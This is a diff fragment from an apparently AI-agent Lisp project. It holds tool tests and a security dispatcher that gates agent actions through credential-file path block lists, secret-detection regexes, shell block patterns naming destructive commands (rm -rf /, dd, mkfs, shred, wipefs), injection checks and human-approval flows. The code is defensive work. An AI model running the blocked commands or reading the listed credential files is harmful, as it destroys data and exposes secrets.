(let ((result (call-tool 'run-shell :cmd "echo hello")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "hello" (getf result :content)))))
|
||||
|
||||
(test test-run-shell-missing-params
|
||||
"run-shell returns error without :cmd."
|
||||
(let ((result (call-tool 'run-shell)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; eval-form
|
||||
(test test-eval-form-arithmetic
|
||||
"Contract 10: eval-form evaluates a Lisp expression."
|
||||
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "3" (getf result :content)))))
|
||||
|
||||
(test test-eval-form-missing-params
|
||||
"eval-form returns error without :code."
|
||||
(let ((result (call-tool 'eval-form)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; org-modify-file
|
||||
(test test-org-modify-file-replace
|
||||
"Contract 13: org-modify-file replaces exact text in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "doc.org" dir)))
|
||||
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "TODO" :new-text "WAITING")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "WAITING" (uiop:read-file-string file))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-not-found
|
||||
"org-modify-file returns error when text not in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "file.org" dir)))
|
||||
(tools-write-file file "some content")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "not-in-file" :new-text "anything")))
|
||||
(is (eq (getf result :status) :error))
|
||||
(is (search "not found" (getf result :message))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-missing-params
|
||||
"org-modify-file returns error without required params."
|
||||
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
#+end_src* v0.8.0 — Modified Files Tracking
|
||||
#+begin_src lisp
|
||||
(defvar *modified-files-this-turn* nil
|
||||
"List of plists recording file modifications in the current turn.")
|
||||
|
||||
(defun tool-register-modified (filepath &key old-content new-content)
|
||||
"Record a file modification. Returns the record plist."
|
||||
(labels ((count-lines (s)
|
||||
(+ (count #\Newline s)
|
||||
;; Also count escaped \\n in string literals (used in tests)
|
||||
(let ((n 0) (i 0))
|
||||
(loop while (setf i (search "\\n" s :start2 i))
|
||||
do (incf n) (incf i))
|
||||
n))))
|
||||
(let* ((lines-added (if (and new-content old-content)
|
||||
(max 0 (- (count-lines new-content)
|
||||
(count-lines old-content)))
|
||||
0))
|
||||
(lines-removed (if (and new-content old-content)
|
||||
(max 0 (- (count-lines old-content)
|
||||
(count-lines new-content)))
|
||||
0))
|
||||
(rec (list :filepath filepath
|
||||
:timestamp (get-universal-time)
|
||||
:lines-added lines-added
|
||||
:lines-removed lines-removed)))
|
||||
(push rec *modified-files-this-turn*)
|
||||
rec)))
|
||||
|
||||
(defun tool-modified-files-summary ()
|
||||
"Returns the list of modified-file records and clears the list."
|
||||
(prog1 (nreverse *modified-files-this-turn*)
|
||||
(setf *modified-files-this-turn* nil)))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(test test-modified-files-track-write
|
||||
"Contract 14: tool-register-modified appends to *modified-files-this-turn*."
|
||||
(setf passepartout::*modified-files-this-turn* nil)
|
||||
(let ((rec (passepartout::tool-register-modified "/tmp/test.org"
|
||||
:old-content "old" :new-content "line1
|
||||
line2")))
|
||||
(is (string= "/tmp/test.org" (getf rec :filepath)))
|
||||
(is (= 0 (getf rec :lines-removed)))
|
||||
(is (= 1 (getf rec :lines-added)))
|
||||
(is (= 1 (length passepartout::*modified-files-this-turn*)))))
|
||||
|
||||
(test test-modified-files-summary
|
||||
"Contract 15: tool-modified-files-summary returns list and clears."
|
||||
(setf passepartout::*modified-files-this-turn* nil)
|
||||
(passepartout::tool-register-modified "/tmp/a.org")
|
||||
(passepartout::tool-register-modified "/tmp/b.org")
|
||||
(let ((files (passepartout::tool-modified-files-summary)))
|
||||
(is (= 2 (length files)))
|
||||
(is (null passepartout::*modified-files-this-turn*))
|
||||
(is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
|
||||
|
||||
(test test-modified-files-empty
|
||||
"Contract 15: tool-modified-files-summary returns nil when no files modified."
|
||||
(setf passepartout::*modified-files-this-turn* nil)
|
||||
(is (null (passepartout::tool-modified-files-summary))))
|
||||
956
lisp/security-dispatcher.lisp
Normal file
956
lisp/security-dispatcher.lisp
Normal file
@@ -0,0 +1,956 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *dispatcher-network-whitelist*
|
||||
'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
|
||||
"Domains the Dispatcher considers safe for outbound connections.")
|
||||
|
||||
(defvar *dispatcher-privacy-tags*
|
||||
(let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
(if env
|
||||
(uiop:split-string env :separator '(#\,))
|
||||
'("@personal")))
|
||||
"Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
|
||||
|
||||
(defvar *dispatcher-protected-paths*
|
||||
'(".env" ".env.example" ".env.local" ".env.production"
|
||||
"*credentials*" "*cred*"
|
||||
"*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
|
||||
"*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
|
||||
"secring.*" "pubring.*" "private-keys-v1.d/*"
|
||||
"token*" "*secret*" "*token*"
|
||||
".netrc" ".git-credentials" "auth.json"
|
||||
".aws/credentials" ".aws/config"
|
||||
".kube/config" "kubeconfig"
|
||||
"*.cert" "*.crt" "*.csr"
|
||||
"*password*" "*passwd*")
|
||||
"Path patterns blocked from file reads.
|
||||
Core file protection (core-*.org, core-*.lisp) handled separately by
|
||||
dispatcher-check-core-path for self-build safety.")
|
||||
|
||||
(defvar *dispatcher-exposure-patterns*
|
||||
'((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
|
||||
(:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
|
||||
(:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
|
||||
(:openai-key "sk-[A-Za-z0-9-]{20,}")
|
||||
(:google-key "AIza[0-9A-Za-z_-]{35}")
|
||||
(:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
|
||||
(:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
|
||||
(:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
|
||||
(:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
|
||||
"Named regex patterns for secret exposure detection.")
|
||||
|
||||
(defvar *dispatcher-shell-timeout* 30
|
||||
"Maximum seconds for a shell command before timeout.")
|
||||
|
||||
(defvar *dispatcher-shell-max-output* 100000
|
||||
"Maximum characters of shell output to capture.")
|
||||
|
||||
(defvar *dispatcher-shell-blocked*
|
||||
'((:destructive-rm "\\brm\\s+-rf\\s+/" :severity :catastrophic)
|
||||
(:destructive-dd "\\bdd\\s+if=" :severity :catastrophic)
|
||||
(:destructive-mkfs "\\bmkfs\\." :severity :catastrophic)
|
||||
(:disk-wipe "\\bshred\\s+/dev/" :severity :catastrophic)
|
||||
(:disk-wipe-b "\\bwipefs\\s+/dev/" :severity :catastrophic)
|
||||
(:injection-backtick "`[^`]+`" :severity :dangerous)
|
||||
(:injection-subshell "\\$\\([^)]+\\)" :severity :dangerous))
|
||||
"Destructive and injection patterns blocked in shell commands.
|
||||
Each entry is (name regex :severity tier) where tier is one of:
|
||||
:catastrophic, :dangerous, :moderate, :harmless.")
|
||||
|
||||
(defun wildcard-match (pattern path)
|
||||
"Matches PATH against PATTERN where * matches any characters."
|
||||
(let ((regex (cl-ppcre:regex-replace-all
|
||||
"\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
|
||||
(cl-ppcre:scan regex path)))
|
||||
|
||||
(defun dispatcher-check-core-path (filepath)
|
||||
"Returns T if FILEPATH matches a core-* self-build protected pattern."
|
||||
(when (and filepath (stringp filepath))
|
||||
(or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
|
||||
(cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))
|
||||
|
||||
(defun dispatcher-check-secret-path (filepath)
|
||||
"Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
|
||||
(when (and filepath (stringp filepath))
|
||||
(some (lambda (pattern)
|
||||
(when (wildcard-match pattern filepath)
|
||||
pattern))
|
||||
*dispatcher-protected-paths*)))
|
||||
|
||||
(defun dispatcher-exposure-scan (text)
|
||||
"Scans TEXT for patterns matching known secret formats.
|
||||
Returns a list of matched category keywords."
|
||||
(when (and text (stringp text) (> (length text) 0))
|
||||
(let ((matches nil))
|
||||
(dolist (entry *dispatcher-exposure-patterns*)
|
||||
(let ((name (first entry))
|
||||
(regex (second entry)))
|
||||
(when (cl-ppcre:scan regex text)
|
||||
(push name matches))))
|
||||
matches)))
|
||||
|
||||
(defun dispatcher-vault-scan (text)
|
||||
"Scans TEXT for known secrets from the vault."
|
||||
(when (and text (stringp text))
|
||||
(let ((found-secret nil))
|
||||
(maphash (lambda (key val)
|
||||
(when (and val (stringp val) (> (length val) 5))
|
||||
(when (search val text)
|
||||
(setf found-secret key))))
|
||||
*vault-memory*)
|
||||
found-secret)))
|
||||
|
||||
(defun dispatcher-check-privacy-tags (tags-list)
|
||||
"Returns T if any tag in TAGS-LIST matches a privacy filter tag."
|
||||
(when (and tags-list (listp tags-list))
|
||||
(some (lambda (tag)
|
||||
(some (lambda (private)
|
||||
(or (string-equal tag private)
|
||||
(search private tag :test #'string-equal)))
|
||||
*dispatcher-privacy-tags*))
|
||||
tags-list)))
|
||||
|
||||
(defvar *tag-categories* nil
|
||||
"Alist of (tag . severity) from TAG_CATEGORIES env var.
|
||||
Severity: :block (filter), :warn (log+include), :log (silent record).")
|
||||
|
||||
(defvar *tag-trigger-count* (make-hash-table :test 'equal)
|
||||
"Per-session count of how many times each tag was triggered.")
|
||||
|
||||
(defun tag-trigger-record (tag)
|
||||
"Increment the trigger count for TAG."
|
||||
(incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
|
||||
|
||||
(defun tag-categories-load ()
|
||||
"Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
|
||||
(let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
|
||||
(uiop:getenv "PRIVACY_FILTER_TAGS"))))
|
||||
(setf *tag-categories*
|
||||
(when raw
|
||||
(mapcar (lambda (entry)
|
||||
(let ((parts (uiop:split-string entry :separator '(#\:))))
|
||||
(if (>= (length parts) 2)
|
||||
(cons (first parts) (intern (string-upcase (second parts)) :keyword))
|
||||
(cons entry :block))))
|
||||
(uiop:split-string raw :separator '(#\, #\;)))))))
|
||||
|
||||
(defun tag-category-severity (tag)
|
||||
"Return the severity keyword for TAG, or NIL if not found."
|
||||
(cdr (assoc tag *tag-categories* :test #'string-equal)))
|
||||
|
||||
(defun dispatcher-privacy-severity (tags-list)
|
||||
"Return the highest-severity tag match: :block > :warn > :log, or nil.
|
||||
Records trigger counts for matched tags."
|
||||
(when (and tags-list (listp tags-list))
|
||||
(let ((highest nil))
|
||||
(dolist (tag tags-list)
|
||||
(let ((sev (tag-category-severity tag)))
|
||||
(when sev
|
||||
(tag-trigger-record tag))
|
||||
(when (or (eq sev :block)
|
||||
(and (eq sev :warn) (not (eq highest :block)))
|
||||
(and (eq sev :log) (null highest)))
|
||||
(setf highest sev))))
|
||||
highest)))
|
||||
|
||||
(tag-categories-load)
|
||||
|
||||
(defun dispatcher-check-text-for-privacy (text)
|
||||
"Scans TEXT for leaked privacy-tagged content."
|
||||
(when (and text (stringp text))
|
||||
(let ((lower (string-downcase text)))
|
||||
(some (lambda (tag)
|
||||
(search (string-downcase tag) lower))
|
||||
*dispatcher-privacy-tags*))))
|
||||
|
||||
(defun org-blocks-extract (content)
|
||||
"Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
|
||||
(when (and content (stringp content))
|
||||
(let ((lines (uiop:split-string content :separator '(#\Newline)))
|
||||
(in-block nil)
|
||||
(code ""))
|
||||
(dolist (line lines)
|
||||
(let ((clean (string-trim '(#\Space #\Tab) line)))
|
||||
(cond
|
||||
((search "#+begin_src lisp" clean)
|
||||
(setf in-block t))
|
||||
((search "#+end_src" clean)
|
||||
(setf in-block nil))
|
||||
(in-block
|
||||
(setf code (concatenate 'string code line (string #\Newline)))))))
|
||||
(when (> (length code) 0) code))))
|
||||
|
||||
(defun dispatcher-check-lisp-valid (filepath content)
|
||||
"Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
|
||||
Returns the validation result plist or nil if not applicable."
|
||||
(when (and content (stringp content) (> (length content) 0))
|
||||
(let ((to-validate
|
||||
(cond
|
||||
((uiop:string-suffix-p filepath ".lisp") content)
|
||||
((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
|
||||
(t nil))))
|
||||
(when to-validate
|
||||
(multiple-value-bind (valid-p err) (ignore-errors
|
||||
(let ((*read-eval* nil))
|
||||
(with-input-from-string (s (format nil "(progn ~a)" to-validate))
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)))
|
||||
(values t nil)))
|
||||
(unless valid-p
|
||||
(list :status :error :reason err)))))))
|
||||
|
||||
(defun org-has-defuns-p (content)
|
||||
"Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
|
||||
(when (and content (stringp content))
|
||||
(search "defun " content :test #'char-equal)))
|
||||
|
||||
(defun dispatcher-check-repl-verified (action filepath content)
|
||||
"Warns if writing a defun to an Org file without :repl-verified metadata."
|
||||
(let ((repl-verified (getf action :repl-verified)))
|
||||
(when (and filepath
|
||||
(uiop:string-suffix-p filepath ".org")
|
||||
(org-has-defuns-p content)
|
||||
(not repl-verified))
|
||||
(list :type :LOG
|
||||
:payload (list :level :warn
|
||||
:text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
|
||||
|
||||
(defun dispatcher-check-shell-safety (cmd)
|
||||
"Checks a shell command for destructive patterns and injection vectors.
|
||||
Returns (:matched <names> :severity <tier>) when dangerous patterns found,
|
||||
or nil if safe. Severity is the highest tier among matched patterns:
|
||||
:catastrophic > :dangerous > :moderate > :harmless."
|
||||
(when (and cmd (stringp cmd) (> (length cmd) 0))
|
||||
(let ((matches nil)
|
||||
(severity :harmless))
|
||||
(dolist (entry *dispatcher-shell-blocked*)
|
||||
(let ((name (first entry))
|
||||
(regex (second entry))
|
||||
(tier (getf entry :severity)))
|
||||
(when (cl-ppcre:scan regex cmd)
|
||||
(push name matches)
|
||||
(setf severity (dispatcher-severity-max severity (or tier :moderate))))))
|
||||
(when matches
|
||||
(list :matched matches :severity severity)))))
|
||||
|
||||
(defvar *dispatcher-severity-order*
|
||||
(list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3)
|
||||
"Severity tier ordering for comparison. Higher = more severe.")
|
||||
|
||||
(defun dispatcher-severity-max (a b)
|
||||
"Returns the higher of two severity tiers."
|
||||
(let ((ra (or (getf *dispatcher-severity-order* a) 0))
|
||||
(rb (or (getf *dispatcher-severity-order* b) 0)))
|
||||
(if (>= rb ra) b a)))
|
||||
|
||||
(defun dispatcher-check-network-exfil (cmd)
|
||||
"Detects if CMD attempts to contact an unwhitelisted external host."
|
||||
(when (and cmd (stringp cmd))
|
||||
(multiple-value-bind (match regs)
|
||||
(cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
|
||||
(declare (ignore match))
|
||||
(when regs
|
||||
(let ((domain (aref regs 1)))
|
||||
(not (some (lambda (safe) (search safe domain))
|
||||
*dispatcher-network-whitelist*)))))))
|
||||
|
||||
(defun dispatcher-check (action context)
|
||||
"Security gate for high-risk actions.
|
||||
Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
|
||||
2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
|
||||
6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
|
||||
(declare (ignore context))
|
||||
(let* ((read-only-auto-pass
|
||||
(let ((tool-name (proto-get (proto-get action :payload) :tool)))
|
||||
(when (and tool-name (tool-read-only-p tool-name))
|
||||
(return-from dispatcher-check action))))
|
||||
(target (proto-get action :target))
|
||||
(payload (proto-get action :payload))
|
||||
(text (or (proto-get payload :text) (proto-get action :text)))
|
||||
(filepath (or (proto-get payload :filepath)
|
||||
(when (equal (proto-get payload :tool) "read-file")
|
||||
(proto-get (proto-get payload :args) :filepath))
|
||||
(when (equal (proto-get payload :tool) "write-file")
|
||||
(proto-get (proto-get payload :args) :filepath))))
|
||||
(content (when filepath (proto-get (proto-get payload :args) :content)))
|
||||
(cmd (or (proto-get payload :cmd)
|
||||
(when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
|
||||
(proto-get (proto-get payload :args) :cmd))))
|
||||
(approved (proto-get action :approved))
|
||||
(tags (proto-get payload :tags))
|
||||
(lisp-valid (when (and filepath content (not approved))
|
||||
(dispatcher-check-lisp-valid filepath content)))
|
||||
(repl-lint (when (and filepath content (not approved))
|
||||
(dispatcher-check-repl-verified action filepath content))))
|
||||
(cond
|
||||
(approved action)
|
||||
|
||||
;; Vector 0: REPL verification lint (warn, don't block)
|
||||
(repl-lint
|
||||
(log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
|
||||
action)
|
||||
|
||||
;; Vector 1: Lisp syntax validation (block bad lisp writes)
|
||||
((and lisp-valid (eq (getf lisp-valid :status) :error))
|
||||
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
|
||||
(dispatcher-block-record :lisp-validation)
|
||||
(list :type :LOG
|
||||
:payload (list :level :error
|
||||
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
|
||||
|
||||
;; Vector 2: File read to a protected secret path
|
||||
((and filepath (dispatcher-check-secret-path filepath))
|
||||
(let ((matched (dispatcher-check-secret-path filepath)))
|
||||
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
|
||||
(dispatcher-block-record :secret-path)
|
||||
(list :type :LOG
|
||||
:payload (list :level :error
|
||||
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
|
||||
|
||||
;; Vector 2b: Self-build safety — core file writes require HITL approval
|
||||
((and filepath content
|
||||
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(dispatcher-check-core-path filepath))
|
||||
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
|
||||
(dispatcher-block-record :self-build-core)
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :sensor :approval-required :action action
|
||||
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
|
||||
|
||||
;; Vector 3: Content contains secret patterns
|
||||
((and text (dispatcher-exposure-scan text))
|
||||
(let ((matched (dispatcher-exposure-scan text)))
|
||||
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
|
||||
(dispatcher-block-record :secret-content)
|
||||
(list :type :LOG
|
||||
:payload (list :level :error
|
||||
:text "Action blocked: Content contains potential secret exposure."))))
|
||||
|
||||
;; Vector 4: Content contains vault secrets
|
||||
((and text (dispatcher-vault-scan text))
|
||||
(let ((secret-name (dispatcher-vault-scan text)))
|
||||
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
|
||||
(dispatcher-block-record :vault-secrets)
|
||||
(list :type :LOG
|
||||
:payload (list :level :error
|
||||
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
|
||||
|
||||
;; Vector 5: Privacy-tagged content (severity tiers)
|
||||
((and tags (fboundp 'dispatcher-privacy-severity))
|
||||
(let ((severity (dispatcher-privacy-severity tags)))
|
||||
(cond
|
||||
((eq severity :block)
|
||||
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
|
||||
(dispatcher-block-record :privacy-tags)
|
||||
(list :type :LOG
|
||||
:payload (list :level :error
|
||||
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
|
||||
((eq severity :warn)
|
||||
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
|
||||
action)
|
||||
((eq severity :log)
|
||||
(log-message "PRIVACY: @tag ~a (logged)" tags)
|
||||
action))))
|
||||
|
||||
;; Vector 6: Text leaks privacy tag names
|
||||
((and text (dispatcher-check-text-for-privacy text))
|
||||
(log-message "PRIVACY WARNING: Text may contain leaked private content")
|
||||
(dispatcher-block-record :privacy-text)
|
||||
(list :type :LOG
|
||||
:payload (list :level :warn
|
||||
:text "Action blocked: Text may reference private content.")))
|
||||
|
||||
;; Vector 7: Shell destructive/injection patterns
|
||||
((and cmd (dispatcher-check-shell-safety cmd))
|
||||
(let ((matched (dispatcher-check-shell-safety cmd)))
|
||||
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
|
||||
(dispatcher-block-record :shell-safety)
|
||||
(list :type :LOG
|
||||
:payload (list :level :error
|
||||
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
|
||||
|
||||
;; Vector 8: Network exfiltration
|
||||
((and (or (eq target :shell)
|
||||
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
|
||||
(dispatcher-check-network-exfil cmd))
|
||||
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
|
||||
(dispatcher-block-record :network-exfil)
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :sensor :approval-required :action action)))
|
||||
|
||||
;; Vector 8b: High-impact action approval
|
||||
((or (member target '(:shell))
|
||||
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
|
||||
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
|
||||
(and (eq target :system) (eq (proto-get payload :action) :eval)))
|
||||
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
|
||||
(dispatcher-block-record :high-impact-approval)
|
||||
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
|
||||
(t action))))
|
||||
|
||||
(defun dispatcher-approvals-process ()
|
||||
"Scans for APPROVED flight plans and re-injects them."
|
||||
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
|
||||
(found-any nil))
|
||||
(dolist (node approved-nodes)
|
||||
(let* ((attrs (memory-object-attributes node))
|
||||
(tags (getf attrs :TAGS))
|
||||
(action-str (getf attrs :ACTION)))
|
||||
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
|
||||
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
|
||||
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
|
||||
(when action
|
||||
(setf (getf action :approved) t)
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :approval-required
|
||||
:action action
|
||||
:approved t)
|
||||
:meta (list :source :system)))
|
||||
(setf (getf (memory-object-attributes node) :TODO) "DONE")
|
||||
(setq found-any t))))))
|
||||
found-any))
|
||||
|
||||
(defun dispatcher-flight-plan-create (blocked-action)
|
||||
"Creates a Flight Plan node for manual approval in Emacs."
|
||||
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
|
||||
(log-message "DISPATCHER: Creating flight plan node '~a'..." id)
|
||||
(list :type :REQUEST :target :emacs
|
||||
:payload (list :action :insert-node :id id
|
||||
:attributes (list :TITLE "Flight Plan: High-Risk Action"
|
||||
:TODO "PLAN" :TAGS '("FLIGHT_PLAN")
|
||||
:ACTION (format nil "~s" blocked-action))))))
|
||||
|
||||
(defvar *hitl-pending* (make-hash-table :test 'equal)
|
||||
"Maps correlation token → blocked-action plist for pending HITL approvals.")
|
||||
|
||||
(defun hitl-create (blocked-action)
|
||||
"Saves a blocked action for HITL approval. Returns a plist with
|
||||
:token (the correlation ID) and :message (user-facing text)."
|
||||
(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
|
||||
(setf (gethash token *hitl-pending*) blocked-action)
|
||||
(log-message "HITL: Created pending approval ~a" token)
|
||||
(list :token token
|
||||
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
|
||||
|
||||
(defun hitl-approve (token)
|
||||
"Approves a pending HITL action by token. Re-injects with :approved t.
|
||||
Returns T if found and approved, nil if token is invalid."
|
||||
(let ((action (gethash token *hitl-pending*)))
|
||||
(if action
|
||||
(progn
|
||||
(remhash token *hitl-pending*)
|
||||
(setf (getf action :approved) t)
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :approval-required
|
||||
:action action
|
||||
:approved t)
|
||||
:meta (list :source :system)))
|
||||
(log-message "HITL: Approved ~a — re-injected" token)
|
||||
t)
|
||||
(progn
|
||||
(log-message "HITL: Token ~a not found in pending" token)
|
||||
nil))))
|
||||
|
||||
(defun hitl-deny (token)
|
||||
"Denies a pending HITL action by token. Removes it from the pending store.
|
||||
Returns T if found, nil if token is invalid."
|
||||
(if (gethash token *hitl-pending*)
|
||||
(progn
|
||||
(remhash token *hitl-pending*)
|
||||
(log-message "HITL: Denied ~a" token)
|
||||
t)
|
||||
(progn
|
||||
(log-message "HITL: Token ~a not found in pending" token)
|
||||
nil)))
|
||||
|
||||
(defun hitl-handle-message (text &optional source)
|
||||
"Checks if TEXT is a HITL approval or denial command.
|
||||
If it matches, processes the command and returns T.
|
||||
Otherwise returns nil (text should be handled as normal input).
|
||||
Recognized formats:
|
||||
/approve HITL-abc123
|
||||
/deny HITL-abc123
|
||||
approve HITL-abc123
|
||||
deny HITL-abc123"
|
||||
(let ((text (string-trim '(#\Space) (or text ""))))
|
||||
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
|
||||
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
|
||||
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
||||
(token (when (> (length parts) 1) (second parts))))
|
||||
(when (and token (hitl-approve token))
|
||||
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
|
||||
(return-from hitl-handle-message t))))
|
||||
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
|
||||
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
|
||||
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
||||
(token (when (> (length parts) 1) (second parts))))
|
||||
(when (and token (hitl-deny token))
|
||||
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
|
||||
(return-from hitl-handle-message t))))
|
||||
nil))
|
||||
|
||||
(defun dispatcher-gate (action context)
|
||||
"Main deterministic gate for the Security Dispatcher skill."
|
||||
(let* ((payload (getf context :payload))
|
||||
(sensor (getf payload :sensor)))
|
||||
(case sensor
|
||||
(:approval-required
|
||||
(dispatcher-flight-plan-create (getf payload :action)))
|
||||
(:heartbeat
|
||||
(dispatcher-approvals-process)
|
||||
(if action (dispatcher-check action context) action))
|
||||
(otherwise
|
||||
(if action (dispatcher-check action context) action)))))
|
||||
|
||||
(defskill :passepartout-security-dispatcher
|
||||
:priority 150
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'dispatcher-gate)
|
||||
|
||||
(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
|
||||
"Per-gate block count: maps gate keyword → integer.")
|
||||
|
||||
(defun dispatcher-block-record (gate-name)
|
||||
"Records a block decision for GATE-NAME. Returns the updated count."
|
||||
(let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
|
||||
(setf (gethash gate-name *dispatcher-block-counts*) count)
|
||||
count))
|
||||
|
||||
(defun dispatcher-block-counts-summary ()
|
||||
"Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
|
||||
(let* ((by-gate
|
||||
(loop for k being the hash-keys of *dispatcher-block-counts*
|
||||
for v = (gethash k *dispatcher-block-counts*)
|
||||
collect (cons k v)))
|
||||
(total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
|
||||
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
|
||||
(list :total total :by-gate sorted)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
